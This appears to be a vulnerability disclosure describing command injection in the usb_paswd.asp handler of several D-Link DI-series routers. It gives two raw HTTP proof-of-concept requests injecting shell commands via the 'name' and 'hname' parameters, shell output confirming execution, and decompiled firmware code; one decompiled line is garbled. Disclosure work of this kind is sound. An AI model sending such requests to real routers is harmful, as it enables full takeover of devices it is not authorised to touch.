

Vendor of the products: D-Link

Affected Device: D-Link DI-7300G+, DI-7200G+V2, DI-8200G

Version: DI-7300G+ V19.12.25A1, DI_7200G+V2-24.04.18D1, DI_8200G-17.12.20A1

Firmware Download: <http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7300G%2B>

<http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7000G%20V2%E7%B3%BB%E5%88%97>

<http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-8200G>

Vulnerability Description: A command injection vulnerability was discovered in D-Link DI-7300G+ V19.12.25A1, DI_7200G+V2-24.04.18D1, and DI_8200G-17.12.20A1, triggered by the name and hname parameters in usb_paswd.asp. Attackers can exploit this vulnerability by crafting malicious packets to execute arbitrary commands, thereby gaining full control of the target device.

POC:

request1:

```
Request
Pretty Raw Hex
1 GET /usb_paswd.asp?share_enable=1&passwd=1234567&name=
  $(ls>/007.txt) HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0)
  Gecko/20100101 Firefox/139.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: wysLanguage=CN; userid=admin; gw_userid=
  admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12
```

request2:

```
Request
Pretty Raw Hex
1 GET /usb_paswd.asp?share_enable=1&passwd=1234567&hname=
  $(ls>/008.txt) HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101
  Firefox/139.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language:
  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: wysLanguage=CN; userid=admin; gw_userid=
  admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11
12
```

Vulnerability Effect:

It can be observed that the router receives the request and successfully executes the command.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 20
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
6 Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type: text/html; charset=gb2312
9
10 {"ret":0,"msg":"ok"}

```

```
/ # ls
001.txt 006.txt etc home mnt sys
002.txt 007.txt etc_ro init proc tmp
003.txt 008.txt firmadyne lib root usr
004.txt bin hd lost+found run var
005.txt dev hd_share media sbin
/ # cat 008.txt
001.txt
002.txt
003.txt
004.txt
005.txt
006.txt
007.txt
008.txt
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found
media
mnt
proc
root
run
sbin
sys
tmp
usr
var
/ #

```

Vulnerability Cause:

The issue resides in the jhttpd component. In jhttpd, the program invokes the sub_4621DC function to handle requests related to usb_paswd.asp. The program first retrieves the user-input parameters name and hname via httpd_get_parm.

```

1 // usb_paswd.asp
2 int __fastcall sub_4621DC(int a1)
3 {
4     _BYTE *parm; // $s3
5     int def_1; // $s1
6     char *v5; // $s6
7     int v6; // $s4
8     int v7; // $s2
9     int v8; // $fp
10    int v9; // $s7
11    const char *_9100; // $s5
12    const char *v11; // $v0
13    int v12; // $s4
14    const char *v13; // $v0
15    int v14; // $v0
16    int v15; // $v0
17    int v16; // $a0
18    int n20; // $a2
19    const char *smbpasswd; // [sp+20h] [-538h] BYREF
20    const char *_a; // [sp+24h] [-534h]
21    const char *smbguest; // [sp+28h] [-530h]
22    int def; // [sp+2Ch] [-52Ch]
23    int v22; // [sp+30h] [-528h]
24    _BYTE v23[256]; // [sp+34h] [-524h] BYREF
25    char __ret__:0__msg__:__ok__[1028]; // [sp+134h] [-424h] BYREF
26    int v25; // [sp+538h] [-20h]
27    int v26; // [sp+53Ch] [-1Ch]
28    int v27; // [sp+540h] [-18h]
29    int v28; // [sp+544h] [-14h]
30    int v29; // [sp+548h] [-10h]
31    int v30; // [sp+54Ch] [-Ch]
32    int v31; // [sp+550h] [-8h]
33    int v32; // [sp+554h] [-4h]
34
35    if ( httpd_get_parm(a1, "opt") )
36        return usb_email_asp(a1);
37    parm = (_BYTE *)httpd_get_parm(a1, "share_enable");
38    def_1 = httpd_get_parm(a1, "passwd");
39    v5 = (char *)httpd_get_parm(a1, "name");
40    v6 = httpd_get_parm(a1, "hpasswd");
41    v7 = httpd_get_parm(a1, "hname");
42    v26 = httpd_get_parm(a1, "acc_ip");
43    v8 = httpd_get_parm(a1, "acc_mac");
44    v27 = httpd_get_parm(a1, "acc_wan");
45    v28 = httpd_get_parm(a1, "acc_auth");
46    v29 = httpd_get_parm(a1, "device_name");
47    v30 = httpd_get_parm(a1, "send_email_en");
48    v31 = httpd_get_parm(a1, "send_email_name");
49    v32 = httpd_get_parm(a1, "send_email_pwd");
50    v9 = httpd_get_parm(a1, "printer_enable");
51    _9100 = (const char *)httpd_get_parm(a1, "printer_port");
52    b+11=11 +b("cmd");
000621DC sub_4621DC:1 (4621DC)

```

Next, the program uses `nvramp_set` to set the values of `usb_username` and `usb_husername` to the parameters `v5` and `v7` input by the user from the frontend. Subsequently, the program retrieves the values of the `usb_username` and `usb_husername` fields from NVRAM via the `jhl_nv_get_def` function. These values are concatenated using the `sprintf` function and directly passed to the system function for execution. Since no security checks are performed during this process, it leads to a command injection vulnerability. Attackers can execute arbitrary commands and fully control the device by constructing malicious parameters.

```

74     nvram_set("usb_share_enable", parm);
75     nvram_set("usb_passwd", def 1);
76     nvram_set("usb_username", v5);
77     v25 = (int)&thd_member.get_maxid;
78     if ( v7 )
79         nvram_set("usb_husername", v7);
80     if ( v6 )
81         nvram_set("usb_hpasswd", v6);
82     nvram_get("http_username");
83     smbguest = "smbguest";
84     def = def_1;
85     smbpasswd = "smbpasswd";
86     _a = "-a";
87     v22 = 0;
88     eval(&smbpasswd, 0, 0, 0);
89     smbpasswd = "smbpasswd";
90     _a = "-a";
91     smbguest = "smbadmin";
92     def = jhl_nv_get_def("usb_hpasswd");
93     v22 = 0;
94     eval(&smbpasswd, 0, 0, 0);
95     v11 = (const char *)jhl_nv_get_def("usb_username");
96     sprintf(v23, "echo \"%s = %s\" > /etc/smbusers", "smbguest", v11);
97     v12 = 0;
98     system(v23);
99     v13 = (const char *)jhl_nv_get_def(v25 + 6128);
100    sprintf(v23, "echo \"%s = %s\" >> /etc/smbusers", "smbadmin", v13);
101    system(v23);

```